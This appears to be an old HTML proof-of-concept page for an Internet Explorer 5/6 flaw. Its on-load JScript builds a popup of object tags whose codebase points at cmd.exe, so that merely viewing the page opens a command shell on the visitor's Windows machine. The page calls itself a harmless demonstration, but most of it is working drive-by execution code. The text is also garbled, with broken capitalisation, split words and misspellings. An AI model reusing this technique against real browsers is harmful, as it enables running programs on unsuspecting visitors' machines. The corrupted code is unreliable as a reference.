<! Doctype html public "-// W3C // dtd html 4.0 Transitional // EN">
<HTML>
<HEAD>
<TITLE> IE6 security... </TITLE>
<Style type = "text/css">
BODY {font-family: Arial, Helvetica, sans-serif; font-size: 16px; color: #222222; background-color: # aaaabb}
H1 {background-color: #222222; color: # aaaabb}
</Style>
<META http-equiv = Content-Type content = "text/html; charset = windows-1252">
<SCRIPT language = JScript>
Var programName = new Array (
'C:/windows/system32/cmd.exe ',
'C:/winnt/system32/cmd.exe ',
'C:/cmd.exe'
);
Function Init (){
Var oPopup = window. createPopup ();
Var oPopBody=oPopup.doc ument. body;
Var n, html = '';
For (n = 0; n <programName. length; n ++)
Html + = "<object name = 'X' CLASSID = 'clsid: 11111111-1111-1111-1111-111111111111'codebase = '"+ programName [n] +"' % 1 = 'R'> </OBJECT> ";
OPopBody. innerHTML = html;
OPopup. show (290,190,200,200, document. body );
}
</SCRIPT>
</Head>
<BODY onload = "Init ()">
<H1> Hmm, let's start a command shell... </H1>
<P>
This page doesn't do anything malicious, but is a demonstration of how to execute a program on a remote machine using
Marvelously secure Internet Explorer web browser !!
</P>
<P>
Up until at least 18/02/02, this script wocould open a command window when viewed in IE5/6 under WindowsXP and Win2k (possibly also WinME). There
Are currently no patches available using "Windows Update" which will prevent this.
</P>
</BODY>
</HTML>
